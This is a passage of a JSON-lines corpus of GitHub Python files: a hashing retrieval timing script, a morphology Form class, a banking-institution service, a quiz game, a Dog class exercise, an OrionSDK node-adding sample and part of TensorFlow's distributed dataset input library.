open('dcodes/adsh-nuswide-48bits-record.pkl', 'rb')\n record = pickle.load(f)\n f.close()\n rB = record['rB']\n qB = record['qB']\n hamm = np.zeros(rB.shape[0])\n starttime = datetime.now()\n print(starttime)\n for i in range(len(qB)):\n for j in range(len(rB)):\n hamm[j] = calc_hamming_dist(qB[i], rB[j])\n np.argsort(hamm)\n endtime = datetime.now()\n print(endtime)\n timeconsume = (endtime - starttime).seconds\n print(timeconsume)\n return timeconsume\n\n\ndef create_subtable(rB, m):\n subtables = []\n for i in range(m):\n subtable = {}\n subtables.append(subtable)\n\n def updatedic(subcode, subtable, index):\n if subcode in subtable:\n subtable[subcode].append(index)\n else:\n subtable[subcode] = [index]\n\n for i in range(rB.shape[0]):\n subcode_length = int(48 / m)\n for j in range(m):\n subcode = tuple(rB[i][j * subcode_length:(j + 1) * subcode_length])\n updatedic(subcode, subtables[j], i)\n return subtables\n\n\ndef cacl_hamming_space_retrieval_time_consume(model_name, dataset_name, m, k):\n if model_name == 'adch':\n if dataset_name == 'cifar10':\n f = open('dcodes/adch-cifar10-48bits-record.pkl', 'rb')\n else:\n f = open('dcodes/adch-nuswide-48bits-record.pkl', 'rb')\n else:\n if dataset_name == 'cifar10':\n f = open('dcodes/adsh-cifar10-48bits-record.pkl', 'rb')\n else:\n f = open('dcodes/adsh-nuswide-48bits-record.pkl', 'rb')\n record = pickle.load(f)\n f.close()\n rB = record['rB']\n qB = record['qB']\n subtables = create_subtable(rB, m)\n subcode_length = int(48 / m)\n\n def retrieval(subcode, subtable, candidates_ind, r):\n max_dist = math.ceil(r / m)\n for key in subtable.keys():\n ndkey = np.array(key)\n dist = calc_hamming_dist(subcode, ndkey)\n if dist <= max_dist:\n candidates_ind.update(subtable[key])\n\n starttime = datetime.now()\n print(starttime)\n for i in range(qB.shape[0]):\n print(i)\n r = 2\n candidates_ind = set()\n while len(candidates_ind) < k:\n for j in range(m):\n subcode = rB[i][j * subcode_length:(j + 1) * subcode_length]\n retrieval(subcode, subtables[j], candidates_ind, r)\n for ind in candidates_ind.copy():\n qcode = qB[i]\n rcode = rB[ind]\n dist = calc_hamming_dist(qcode, rcode)\n if dist > r:\n candidates_ind.remove(ind)\n r = r + 1\n endtime = datetime.now()\n print(endtime)\n timeconsume = (endtime - starttime).seconds\n print(timeconsume)\n return timeconsume\n\n\nif __name__ == \"__main__\":\n # cacl_hamming_space_retrieval_time_consume('adch', 'nuswide', 6, 10)\n # cacl_hamming_space_retrieval_time_consume('adch', 'nuswide', 6, 100)\n # cacl_hamming_space_retrieval_time_consume('adch', 'nuswide', 6, 1000)\n create_retrieval_result_fig('adch', 'Project')\n # create_retrieval_result_fig('adsh', 'NUS-WIDE')\n","repo_name":"AttackingNinja/RetrievalTest","sub_path":"retrieval_test.py","file_name":"retrieval_test.py","file_ext":"py","file_size_in_byte":10821,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"33480674159","text":"from functools import total_ordering\n\nclass Form(object):\n def __init__(self, \n lemmaMorphemes=None,\n lemmaSegmentation=None,\n lemmaGloss=None, \n morphemes=None,\n segmentation=None, \n gloss=None, \n features = None, \n **kwargs):\n\n if lemmaMorphemes:\n assert not lemmaSegmentation and not lemmaGloss\n lemmaSegmentation, lemmaGloss = unzip(lemmaMorphemes)\n lemmaSegmentation = list(lemmaSegmentation)\n lemmaGloss = list(lemmaGloss)\n if morphemes:\n assert not segmentation and not gloss\n segmentation, gloss = unzip(morphemes)\n segmentation = list(segmentation)\n gloss = list(gloss)\n self.lemmaSegmentation = lemmaSegmentation or []\n self.lemmaGloss = lemmaGloss or []\n self.segmentation = segmentation or []\n self.gloss = gloss or []\n #self.features = {**features, **kwargs}\n self.features = features or kwargs\n\n @classmethod\n def fromStrings(cls, top, bottom):\n lemmaMorphemes, _ = breakFstString(top)\n morphemes, features = breakFstString(bottom)\n return cls(lemmaMorphemes=lemmaMorphemes,\n morphemes=morphemes,\n features=features)\n\n def toStrings(self):\n lemmaMorphemes = zip(self.lemmaSegmentation, self.lemmaGloss)\n morphemes = zip(self.segmentation, self.gloss)\n features = self.features\n topString = makeFstString(lemmaMorphemes, features)\n bottomString = makeFstString(morphemes, features)\n return topString, bottomString\n \n\n @classmethod\n def fromFst(cls, fst):\n fst = fst.copy() # We're going to destructively\n # project it in a minute, so we need a\n # copy.\n bottomString = fst.stringify()\n fst.project(project_output=False)\n topString = fst.stringify()\n return cls.fromStrings(top=topString, bottom=bottomString)\n\n\n def toFst(self):\n topString, bottomString = self.toStrings()\n return pynini.transducer(topString, bottomString)\n\n\n @total_ordering\n def __eq__(self, other):\n if not isinstance(other, type(self)):\n return NotImplemented\n return self._key() == other._key()\n\n @total_ordering\n def __gt__(self, other):\n if not isinstance(other, type(self)):\n return NotImplemented\n return self._key() > other._key()\n\n def __str__(self):\n return self.text\n\n def __repr__(self):\n return ('Form(segmentation={0}, gloss={1}, ' +\n 'lemmaSegmentation={2}, lemmaGloss={3}, ' + \n 'features={4})').format(\n self.segmentation, \n self.gloss, \n self.lemmaSegmentation, \n self.lemmaGloss, \n self.features)\n\n @property\n def morphemes(self):\n return list(zip(self.segmentation, self.gloss))\n\n @property\n def lemmaMorphemes(self):\n return list(zip(self.lemmaSegmentation, self.lemmaGloss))\n\n @property\n def text(self):\n return \"\".join([s.strip(\"-\") for s in self.segmentation])\n\n @property\n def lemmaText(self):\n return \"\".join([s.strip(\"-\") for s in self.lemmaSegmentation])\n\n def _key(self):\n return self.text + \" \" + str(self.toStrings())\n\ndef unzip(listOfPairs):\n pairOfLists = tuple(zip(*listOfPairs))\n if len(pairOfLists) == 1:\n pairOfLists = [pairOfLists[0], ()]\n return pairOfLists\n\ndef makeFstString(morphemes, features):\n fItems = [(k, features[k]) for k in sorted(features)]\n morphemeString = \" \".join([\"{}({})\".format(segment, gloss)\n for segment, gloss in morphemes])\n featureString = \" \".join([\"{}({})\".format(feature, value)\n for feature, value in fItems])\n totalString = \"^\" + morphemeString + \"$\" + featureString + \"|\"\n return totalString\n\ndef breakFstString(s):\n morphemeString, featureString = s.strip(\"^\").strip(\"|\").split(\"$\")\n morphemes = [tuple(pair.strip(\")\").split(\"(\")) \n for pair in morphemeString.split(\" \")]\n features = [tuple(pair.strip(\")\").split(\"(\")) \n for pair in featureString.split(\" \")]\n if features == [('',)]:\n features = {}\n else:\n features = {k: v for k, v in features}\n return morphemes, features\n\n","repo_name":"leahvelleman/morpho","sub_path":"morpho/form.py","file_name":"form.py","file_ext":"py","file_size_in_byte":4582,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"18581735255","text":"from typing import List, Optional\nfrom app.models.http.nordigen import Institution\nfrom app.repos.nordigen_repo import NordigenRepo\n\n\nasync def get_country_institutions(country_code: str) -> Optional[List[Institution]]:\n nordigen_repo = NordigenRepo()\n institutions = await nordigen_repo.get_country_institutions(country_code)\n return institutions\n\n\nasync def get_institution_by_id(_id: str) -> Optional[Institution]:\n nordigen_repo = NordigenRepo()\n institution = await nordigen_repo.get_institution_by_id(_id)\n return institution","repo_name":"OrestisStefanou/moneytoring","sub_path":"app/services/institution.py","file_name":"institution.py","file_ext":"py","file_size_in_byte":549,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"34253987296","text":"### open file\ntry:\n with open(\"highscore.txt\", \"r\") as f:\n highscore = f.read()\n highscore = int(highscore)\n print(\"The highscore is\",highscore)\n\nexcept FileNotFoundError:\n print(\"Creating a new highscore.txt file\")\n f = open(\"highscore.txt\", \"w\")\n f.write(\"0\")\n f.close()\n highscore = 0\n\n### game\nwhile True:\n score = 0\n print(\"Welcome to the Maths Quiz\")\n print(\"Can you answer three questions and score maximum points?\")\n \n print(\"Question 1: What is the product of 2x2x2?\")\n answer = int(input(\"Your answer :>> \"))\n if answer == 8:\n print(\"Correct\")\n score = score + 1\n else:\n print(\"Incorrect, the answer is 8\")\n\n print(\"Question 2: On a clock face what is the size of the angle that the second hand turns in one second?\")\n answer = int(input(\"Your answer :>> \"))\n if answer == 6:\n print(\"Correct\")\n score = score + 1\n else:\n print(\"Incorrect, the answer is 6 degrees\")\n\n print(\"Question 3: What is the quotient and remainder for 8 / 3?\")\n print(\"Please format your answer as quotient and remainder, for example the answer to 23/5 is 4r3\")\n answer = input(\"Your answer :>> \")\n if answer == \"2r2\":\n print(\"Correct\")\n score = score + 1\n else:\n print(\"Incorrect, the answer is 2r2\")\n\n print(\"Your score is\", score)\n\n if score > highscore:\n highscore = score\n print(\"You have set a new highscore\")\n with open(\"highscore.txt\", \"w\") as f:\n f.write(str(highscore))\n else:\n print(\"Better luck next time\")\n \n print(\"The highscore is\",highscore)\n\n \n","repo_name":"lz7dp/source","sub_path":"python/FutureLearn/DataTasks/text_file/high_score2.py","file_name":"high_score2.py","file_ext":"py","file_size_in_byte":1654,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"18666233373","text":"class Dog:\n classAttribute = \"Canis lupus familiaris\"\n def __init__(self,name,specie,age,gender):\n self.name = name\n self.specie = specie\n self.age = age\n self.gender = gender\n\n def sayMyName(self):\n print(self.name)\n\n def makeNoise(self):\n print(self.name,\"says Waff Waff\")\n # Kedi için bir sınıf oluşturup bu sınıf üzerinden iki kedinin nesne olarak tanımını yapınız\n\ndog1 = Dog(\"Biber\",\"Husky\",22,\"Male\")\ndog2 = Dog(\"Çilek\",\"King Charles\",20,\"Female\")\ndog1.makeNoise() # Biber says Waff Waff\ndog2.makeNoise() # Çilek says Waff Waff\nprint(dog1.classAttribute)\nprint(dog2.classAttribute)\nprint(Dog.classAttribute)","repo_name":"ibrahimediz/pythonintermediate_kordsa","sub_path":"Exercises/cevaplar/03_01_OOPfunds.py","file_name":"03_01_OOPfunds.py","file_ext":"py","file_size_in_byte":690,"program_lang":"python","lang":"tr","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"1205720516","text":"from __future__ import print_function\nimport re\nimport requests\nfrom orionsdk import SwisClient\n\n\ndef main():\n npm_server = 'localhost'\n username = 'admin'\n password = ''\n\n swis = SwisClient(npm_server, username, password)\n print(\"Add an SNMP v2c node:\")\n\n # fill these in for the node you want to add!\n ip_address = '127.0.0.1'\n community = 'public'\n\n # set up property bag for the new node\n props = {\n 'IPAddress': ip_address,\n 'EngineID': 1,\n 'ObjectSubType': 'SNMP',\n 'SNMPVersion': 2,\n 'Community': community,\n\n 'DNS': '',\n 'SysName': ''\n }\n\n print(\"Adding node {}... \".format(props['IPAddress']), end=\"\")\n results = swis.create('Orion.Nodes', **props)\n print(\"DONE!\")\n\n # extract the nodeID from the result\n nodeid = re.search(r'(\\d+)$', results).group(0)\n\n pollers_enabled = {\n 'N.Status.ICMP.Native': True,\n 'N.Status.SNMP.Native': False,\n 'N.ResponseTime.ICMP.Native': True,\n 'N.ResponseTime.SNMP.Native': False,\n 'N.Details.SNMP.Generic': True,\n 'N.Uptime.SNMP.Generic': True,\n 'N.Cpu.SNMP.HrProcessorLoad': True,\n 'N.Memory.SNMP.NetSnmpReal': True,\n 'N.AssetInventory.Snmp.Generic': True,\n 'N.Topology_Layer3.SNMP.ipNetToMedia': False,\n 'N.Routing.SNMP.Ipv4CidrRoutingTable': False\n }\n\n pollers = []\n for k in pollers_enabled:\n pollers.append(\n {\n 'PollerType': k,\n 'NetObject': 'N:' + nodeid,\n 'NetObjectType': 'N',\n 'NetObjectID': nodeid,\n 'Enabled': pollers_enabled[k]\n }\n )\n\n for poller in pollers:\n print(\" Adding poller type: {} with status {}... \".format(poller['PollerType'], poller['Enabled']), end=\"\")\n response = swis.create('Orion.Pollers', **poller)\n print(\"DONE!\")\n\n\nrequests.packages.urllib3.disable_warnings()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"solarwinds/orionsdk-python","sub_path":"samples/add_node.py","file_name":"add_node.py","file_ext":"py","file_size_in_byte":1999,"program_lang":"python","lang":"en","doc_type":"code","stars":199,"dataset":"github-code","pt":"3"} +{"seq_id":"15422410952","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport functools\nimport sys\n\nimport six\n\nfrom tensorflow.python import tf2\nfrom tensorflow.python.data.experimental.ops import batching\nfrom tensorflow.python.data.experimental.ops import cardinality\nfrom tensorflow.python.data.experimental.ops import distribute\nfrom tensorflow.python.data.ops import dataset_ops\nfrom tensorflow.python.data.ops import iterator_ops\nfrom tensorflow.python.data.ops import multi_device_iterator_ops\nfrom tensorflow.python.data.ops import optional_ops\nfrom tensorflow.python.distribute import device_util\nfrom tensorflow.python.distribute import distribute_lib\nfrom tensorflow.python.distribute import distribute_utils\nfrom tensorflow.python.distribute import distribution_strategy_context\nfrom tensorflow.python.distribute import input_ops\nfrom tensorflow.python.distribute import reduce_util\nfrom tensorflow.python.distribute import values\nfrom tensorflow.python.distribute.distribute_lib import InputReplicationMode\nfrom tensorflow.python.eager import context\nfrom tensorflow.python.framework import composite_tensor\nfrom tensorflow.python.framework import constant_op\nfrom tensorflow.python.framework import device as tf_device\nfrom tensorflow.python.framework import dtypes\nfrom tensorflow.python.framework import errors\nfrom tensorflow.python.framework import ops\nfrom tensorflow.python.framework import sparse_tensor\nfrom tensorflow.python.framework import tensor_shape\nfrom tensorflow.python.framework import tensor_util\nfrom tensorflow.python.framework import type_spec\nfrom tensorflow.python.ops import array_ops\nfrom tensorflow.python.ops import control_flow_ops\nfrom tensorflow.python.ops import math_ops\nfrom tensorflow.python.ops.ragged import ragged_tensor\nfrom tensorflow.python.platform import tf_logging as logging\nfrom tensorflow.python.types import distribute as distribute_types\nfrom tensorflow.python.util import nest\nfrom tensorflow.python.util.compat import collections_abc\nfrom tensorflow.python.util.deprecation import deprecated\nfrom tensorflow.python.util.tf_export import tf_export\nfrom tensorflow.tools.docs import doc_controls\n\n\ndef get_distributed_dataset(dataset,\n input_workers,\n strategy,\n num_replicas_in_sync=None,\n input_context=None,\n options=None):\n \"\"\"Returns a distributed dataset from the given tf.data.Dataset instance.\n\n This is a common function that is used by all strategies to return a\n distributed dataset. The distributed dataset instance returned is different\n depending on if we are in a TF 1 or TF 2 context. The distributed dataset\n instances returned differ from each other in the APIs supported by each of\n them.\n\n Args:\n dataset: a tf.data.Dataset instance.\n input_workers: an InputWorkers object which specifies devices on which\n iterators should be created.\n strategy: a `tf.distribute.Strategy` object, used to run all-reduce to\n handle last partial batch.\n num_replicas_in_sync: Optional integer. If this is not None, the value is\n used to decide how to rebatch datasets into smaller batches so that\n the total batch size for each step (across all workers and replicas)\n adds up to `dataset`'s batch size.\n input_context: `InputContext` for sharding. Only pass this in for between\n graph multi-worker cases where there is only one `input_worker`. In\n these cases, we will shard based on the `input_pipeline_id` and\n `num_input_pipelines` in the `InputContext`.\n options: Default is None. `tf.distribute.InputOptions` used to control\n options on how this dataset is distributed.\n\n Returns:\n A distributed dataset instance.\n \"\"\"\n if tf2.enabled():\n return DistributedDataset(\n input_workers,\n strategy,\n dataset,\n num_replicas_in_sync=num_replicas_in_sync,\n input_context=input_context,\n options=options)\n else:\n return DistributedDatasetV1(\n dataset,\n input_workers,\n strategy,\n num_replicas_in_sync=num_replicas_in_sync,\n input_context=input_context,\n options=options)\n\n\ndef get_distributed_datasets_from_function(dataset_fn,\n input_workers,\n input_contexts,\n strategy,\n options=None):\n \"\"\"Returns a distributed dataset from the given input function.\n\n This is a common function that is used by all strategies to return a\n distributed dataset. The distributed dataset instance returned is different\n depending on if we are in a TF 1 or TF 2 context. The distributed dataset\n instances returned differ from each other in the APIs supported by each of\n them.\n\n Args:\n dataset_fn: a function that returns a tf.data.Dataset instance.\n input_workers: an InputWorkers object which specifies devices on which\n iterators should be created.\n input_contexts: A list of `InputContext` instances to be passed to call(s)\n to `dataset_fn`. Length and order should match worker order in\n `worker_device_pairs`.\n strategy: a `tf.distribute.Strategy` object, used to run all-reduce to\n handle last partial batch.\n options: Default is None. `tf.distribute.InputOptions` used to control\n options on how this dataset is distributed.\n\n Returns:\n A distributed dataset instance.\n\n Raises:\n ValueError: if `options.experimental_replication_mode` and\n `options.experimental_place_dataset_on_device` are not consistent\n \"\"\"\n if (options is not None and\n options.experimental_replication_mode != InputReplicationMode.PER_REPLICA\n and options.experimental_place_dataset_on_device):\n raise ValueError(\n \"When `experimental_place_dataset_on_device` is set for dataset \"\n \"placement, you must also specify `PER_REPLICA` for the \"\n \"replication mode\")\n\n if (options is not None and\n options.experimental_replication_mode == InputReplicationMode.PER_REPLICA\n and options.experimental_fetch_to_device and\n options.experimental_place_dataset_on_device):\n raise ValueError(\n \"`experimental_place_dataset_on_device` can not be set to True \"\n \"when experimental_fetch_to_device is True and \"\n \"replication mode is set to `PER_REPLICA`\")\n\n if tf2.enabled():\n return DistributedDatasetsFromFunction(input_workers, strategy,\n input_contexts, dataset_fn, options)\n else:\n return DistributedDatasetsFromFunctionV1(input_workers, strategy,\n input_contexts, dataset_fn,\n options)\n\n\ndef get_iterator_spec_from_dataset(strategy, dataset):\n \"\"\"Returns an iterator spec from dataset function.\n\n This function constructs type spec for iterator obtained from\n iter(dataset).\n\n Args:\n strategy: a `tf.distribute.Strategy` object, used to run all-reduce to\n handle last partial batch.\n dataset: A tf.data.Dataset instance. If using a function that returns a\n tf.data.Dataset instance, pass dataset_fn.structured_outputs.\n\n Returns:\n A type_spec for iterator for dataset instance.\n\n \"\"\"\n output_element_spec = dataset.element_spec\n if isinstance(dataset._type_spec, # pylint: disable=protected-access\n (DistributedDatasetSpec,\n DistributedDatasetsFromFunctionSpec)):\n iterator_type_spec = DistributedIteratorSpec(\n strategy.extended._input_workers_with_options( # pylint: disable=protected-access\n ), output_element_spec,\n strategy.extended._container_strategy(), True, # pylint: disable=protected-access\n None)\n else:\n if strategy.extended._num_gpus_per_worker: # pylint: disable=protected-access\n logging.warning(\n f\"{strategy.extended._num_gpus_per_worker} GPUs \" # pylint: disable=protected-access\n \"are allocated per worker. Please use DistributedDataset by \"\n \"calling strategy.experimental_distribute_dataset or strategy.\"\n \"distribute_datasets_from_function to make best use of GPU \"\n \"resources\"\n )\n iterator_type_spec = iterator_ops.IteratorSpec(output_element_spec)\n return iterator_type_spec\n\n\n@tf_export(\"distribute.DistributedIterator\", v1=[])\nclass DistributedIteratorInterface(collections_abc.Iterator,\n distribute_types.Iterator):\n \"\"\"An iterator over `tf.distribute.DistributedDataset`.\n\n `tf.distribute.DistributedIterator` is the primary mechanism for enumerating\n elements of a `tf.distribute.DistributedDataset`. It supports the Python\n Iterator protocol, which means it can be iterated over using a for-loop or by\n fetching individual elements explicitly via `get_next()`.\n\n You can create a `tf.distribute.DistributedIterator` by calling `iter` on\n a `tf.distribute.DistributedDataset` or creating a python loop over a\n `tf.distribute.DistributedDataset`.\n\n Visit the [tutorial](https://www.tensorflow.org/tutorials/distribute/input)\n on distributed input for more examples and caveats.\n \"\"\"\n\n def get_next(self):\n \"\"\"Returns the next input from the iterator for all replicas.\n\n Example use:\n\n >>> strategy = tf.distribute.MirroredStrategy([\"GPU:0\", \"GPU:1\"])\n >>> dataset = tf.data.Dataset.range(100).batch(2)\n >>> dist_dataset = strategy.experimental_distribute_dataset(dataset)\n >>> dist_dataset_iterator = iter(dist_dataset)\n >>> @tf.function\n ... def one_step(input):\n ... return input\n >>> step_num = 5\n >>> for _ in range(step_num):\n ... strategy.run(one_step, args=(dist_dataset_iterator.get_next(),))\n >>> strategy.experimental_local_results(dist_dataset_iterator.get_next())\n (,\n )\n\n Returns:\n A single `tf.Tensor` or a `tf.distribute.DistributedValues` which contains\n the next input for all replicas.\n\n Raises:\n `tf.errors.OutOfRangeError`: If the end of the iterator has been reached.\n \"\"\"\n raise NotImplementedError(\n \"DistributedIterator.get_next() must be implemented in descendants.\")\n\n @property\n def element_spec(self):\n # pylint: disable=line-too-long\n \"\"\"The type specification of an element of `tf.distribute.DistributedIterator`.\n\n Example usage:\n\n >>> global_batch_size = 16\n >>> strategy = tf.distribute.MirroredStrategy([\"GPU:0\", \"GPU:1\"])\n >>> dataset = tf.data.Dataset.from_tensors(([1.],[2])).repeat(100).batch(global_batch_size)\n >>> distributed_iterator = iter(strategy.experimental_distribute_dataset(dataset))\n >>> distributed_iterator.element_spec\n (PerReplicaSpec(TensorSpec(shape=(None, 1), dtype=tf.float32, name=None),\n TensorSpec(shape=(None, 1), dtype=tf.float32, name=None)),\n PerReplicaSpec(TensorSpec(shape=(None, 1), dtype=tf.int32, name=None),\n TensorSpec(shape=(None, 1), dtype=tf.int32, name=None)))\n\n Returns:\n A nested structure of `tf.TypeSpec` objects matching the structure of an\n element of this `tf.distribute.DistributedIterator`. This returned value\n is typically a `tf.distribute.DistributedValues` object and specifies the\n `tf.TensorSpec` of individual components.\n \"\"\"\n raise NotImplementedError(\n \"DistributedIterator.element_spec() must be implemented in descendants\")\n\n def get_next_as_optional(self):\n # pylint: disable=line-too-long\n \"\"\"Returns a `tf.experimental.Optional` that contains the next value for all replicas.\n\n If the `tf.distribute.DistributedIterator` has reached the end of the\n sequence, the returned `tf.experimental.Optional` will have no value.\n\n Example usage:\n\n >>> strategy = tf.distribute.MirroredStrategy([\"GPU:0\", \"GPU:1\"])\n >>> global_batch_size = 2\n >>> steps_per_loop = 2\n >>> dataset = tf.data.Dataset.range(10).batch(global_batch_size)\n >>> distributed_iterator = iter(\n ... strategy.experimental_distribute_dataset(dataset))\n >>> def step_fn(x):\n ... # train the model with inputs\n ... return x\n >>> @tf.function\n ... def train_fn(distributed_iterator):\n ... for _ in tf.range(steps_per_loop):\n ... optional_data = distributed_iterator.get_next_as_optional()\n ... if not optional_data.has_value():\n ... break\n ... per_replica_results = strategy.run(step_fn, args=(optional_data.get_value(),))\n ... tf.print(strategy.experimental_local_results(per_replica_results))\n >>> train_fn(distributed_iterator)\n ... # ([0 1], [2 3])\n ... # ([4], [])\n\n Returns:\n An `tf.experimental.Optional` object representing the next value from the\n `tf.distribute.DistributedIterator` (if it has one) or no value.\n \"\"\"\n # pylint: enable=line-too-long\n raise NotImplementedError(\n \"get_next_as_optional() not implemented in descendants\")\n\n\n@tf_export(\"distribute.DistributedDataset\", v1=[])\nclass DistributedDatasetInterface(collections_abc.Iterable,\n distribute_types.Iterable):\n # pylint: disable=line-too-long\n \"\"\"Represents a dataset distributed among devices and machines.\n\n A `tf.distribute.DistributedDataset` could be thought of as a \"distributed\"\n dataset. When you use `tf.distribute` API to scale training to multiple\n devices or machines, you also need to distribute the input data, which leads\n to a `tf.distribute.DistributedDataset` instance, instead of a\n `tf.data.Dataset` instance in the non-distributed case. In TF 2.x,\n `tf.distribute.DistributedDataset` objects are Python iterables.\n\n Note: `tf.distribute.DistributedDataset` instances are *not* of type\n `tf.data.Dataset`. It only supports two usages we will mention below:\n iteration and `element_spec`. We don't support any other APIs to transform or\n inspect the dataset.\n\n There are two APIs to create a `tf.distribute.DistributedDataset` object:\n `tf.distribute.Strategy.experimental_distribute_dataset(dataset)`and\n `tf.distribute.Strategy.distribute_datasets_from_function(dataset_fn)`.\n *When to use which?* When you have a `tf.data.Dataset` instance, and the\n regular batch splitting (i.e. re-batch the input `tf.data.Dataset` instance\n with a new batch size that is equal to the global batch size divided by the\n number of replicas in sync) and autosharding (i.e. the\n `tf.data.experimental.AutoShardPolicy` options) work for you, use the former\n API. Otherwise, if you are *not* using a canonical `tf.data.Dataset` instance,\n or you would like to customize the batch splitting or sharding, you can wrap\n these logic in a `dataset_fn` and use the latter API. Both API handles\n prefetch to device for the user. For more details and examples, follow the\n links to the APIs.\n\n\n There are two main usages of a `DistributedDataset` object:\n\n 1. Iterate over it to generate the input for a single device or multiple\n devices, which is a `tf.distribute.DistributedValues` instance. To do this,\n you can:\n\n * use a pythonic for-loop construct:\n\n >>> global_batch_size = 4\n >>> strategy = tf.distribute.MirroredStrategy([\"GPU:0\", \"GPU:1\"])\n >>> dataset = tf.data.Dataset.from_tensors(([1.],[1.])).repeat(4).batch(global_batch_size)\n >>> dist_dataset = strategy.experimental_distribute_dataset(dataset)\n >>> @tf.function\n ... def train_step(input):\n ... features, labels = input\n ... return labels - 0.3 * features\n >>> for x in dist_dataset:\n ... # train_step trains the model using the dataset elements\n ... loss = strategy.run(train_step, args=(x,))\n ... print(\"Loss is\", loss)\n Loss is PerReplica:{\n 0: tf.Tensor(\n [[0.7]\n [0.7]], shape=(2, 1), dtype=float32),\n 1: tf.Tensor(\n [[0.7]\n [0.7]], shape=(2, 1), dtype=float32)\n }\n\n Placing the loop inside a `tf.function` will give a performance boost.\n However `break` and `return` are currently not supported if the loop is\n placed inside a `tf.function`. We also don't support placing the loop\n inside a `tf.function` when using\n `tf.distribute.experimental.MultiWorkerMirroredStrategy` or\n `tf.distribute.experimental.TPUStrategy` with multiple workers.\n\n * use `__iter__` to create an explicit iterator, which is of type\n `tf.distribute.DistributedIterator`\n\n >>> global_batch_size = 4\n >>> strategy = tf.distribute.MirroredStrategy([\"GPU:0\", \"GPU:1\"])\n >>> train_dataset = tf.data.Dataset.from_tensors(([1.],[1.])).repeat(50).batch(global_batch_size)\n >>> train_dist_dataset = strategy.experimental_distribute_dataset(train_dataset)\n >>> @tf.function\n ... def distributed_train_step(dataset_inputs):\n ... def train_step(input):\n ... loss = tf.constant(0.1)\n ... return loss\n ... per_replica_losses = strategy.run(train_step, args=(dataset_inputs,))\n ... return strategy.reduce(tf.distribute.ReduceOp.SUM, per_replica_losses,axis=None)\n >>> EPOCHS = 2\n >>> STEPS = 3\n >>> for epoch in range(EPOCHS):\n ... total_loss = 0.0\n ... num_batches = 0\n ... dist_dataset_iterator = iter(train_dist_dataset)\n ... for _ in range(STEPS):\n ... total_loss += distributed_train_step(next(dist_dataset_iterator))\n ... num_batches += 1\n ... average_train_loss = total_loss / num_batches\n ... template = (\"Epoch {}, Loss: {:.4f}\")\n ... print (template.format(epoch+1, average_train_loss))\n Epoch 1, Loss: 0.2000\n Epoch 2, Loss: 0.2000\n\n\n To achieve a performance improvement, you can also wrap the `strategy.run`\n call with a `tf.range` inside a `tf.function`. This runs multiple steps in a\n `tf.function`. Autograph will convert it to a `tf.while_loop` on the worker.\n However, it is less flexible comparing with running a single step inside\n `tf.function`. For example, you cannot run things eagerly or arbitrary\n python code within the steps.\n\n\n 2. Inspect the `tf.TypeSpec` of the data generated by `DistributedDataset`.\n\n `tf.distribute.DistributedDataset` generates\n `tf.distribute.DistributedValues` as input to the devices. If you pass the\n input to a `tf.function` and would like to specify the shape and type of\n each Tensor argument to the function, you can pass a `tf.TypeSpec` object to\n the `input_signature` argument of the `tf.function`. To get the\n `tf.TypeSpec` of the input, you can use the `element_spec` property of the\n `tf.distribute.DistributedDataset` or `tf.distribute.DistributedIterator`\n object.\n\n For example:\n\n >>> global_batch_size = 4\n >>> epochs = 1\n >>> steps_per_epoch = 1\n >>> mirrored_strategy = tf.distribute.MirroredStrategy([\"GPU:0\", \"GPU:1\"])\n >>> dataset = tf.data.Dataset.from_tensors(([2.])).repeat(100).batch(global_batch_size)\n >>> dist_dataset = mirrored_strategy.experimental_distribute_dataset(dataset)\n >>> @tf.function(input_signature=[dist_dataset.element_spec])\n ... def train_step(per_replica_inputs):\n ... def step_fn(inputs):\n ... return tf.square(inputs)\n ... return mirrored_strategy.run(step_fn, args=(per_replica_inputs,))\n >>> for _ in range(epochs):\n ... iterator = iter(dist_dataset)\n ... for _ in range(steps_per_epoch):\n ... output = train_step(next(iterator))\n ... print(output)\n PerReplica:{\n 0: tf.Tensor(\n [[4.]\n [4.]], shape=(2, 1), dtype=float32),\n 1: tf.Tensor(\n [[4.]\n [4.]], shape=(2, 1), dtype=float32)\n }\n\n\n Visit the [tutorial](https://www.tensorflow.org/tutorials/distribute/input)\n on distributed input for more examples and caveats.\n \"\"\"\n\n def __iter__(self):\n \"\"\"Creates an iterator for the `tf.distribute.DistributedDataset`.\n\n The returned iterator implements the Python Iterator protocol.\n\n Example usage:\n\n >>> global_batch_size = 4\n >>> strategy = tf.distribute.MirroredStrategy([\"GPU:0\", \"GPU:1\"])\n >>> dataset = tf.data.Dataset.from_tensor_slices([1, 2, 3, 4]).repeat().batch(global_batch_size)\n >>> distributed_iterator = iter(strategy.experimental_distribute_dataset(dataset))\n >>> print(next(distributed_iterator))\n PerReplica:{\n 0: tf.Tensor([1 2], shape=(2,), dtype=int32),\n 1: tf.Tensor([3 4], shape=(2,), dtype=int32)\n }\n\n Returns:\n An `tf.distribute.DistributedIterator` instance for the given\n `tf.distribute.DistributedDataset` object to enumerate over the\n distributed data.\n \"\"\"\n raise NotImplementedError(\"Must be implemented in descendants\")\n\n @property\n def element_spec(self):\n \"\"\"The type specification of an element of this `tf.distribute.DistributedDataset`.\n\n Example usage:\n\n >>> global_batch_size = 16\n >>> strategy = tf.distribute.MirroredStrategy([\"GPU:0\", \"GPU:1\"])\n >>> dataset = tf.data.Dataset.from_tensors(([1.],[2])).repeat(100).batch(global_batch_size)\n >>> dist_dataset = strategy.experimental_distribute_dataset(dataset)\n >>> dist_dataset.element_spec\n (PerReplicaSpec(TensorSpec(shape=(None, 1), dtype=tf.float32, name=None),\n TensorSpec(shape=(None, 1), dtype=tf.float32, name=None)),\n PerReplicaSpec(TensorSpec(shape=(None, 1), dtype=tf.int32, name=None),\n TensorSpec(shape=(None, 1), dtype=tf.int32, name=None)))\n\n Returns:\n A nested structure of `tf.TypeSpec` objects matching the structure of an\n element of this `tf.distribute.DistributedDataset`. This returned value is\n typically a `tf.distribute.DistributedValues` object and specifies the\n `tf.TensorSpec` of individual components.\n \"\"\"\n raise NotImplementedError(\n \"DistributedDataset.element_spec must be implemented in descendants.\")\n\n 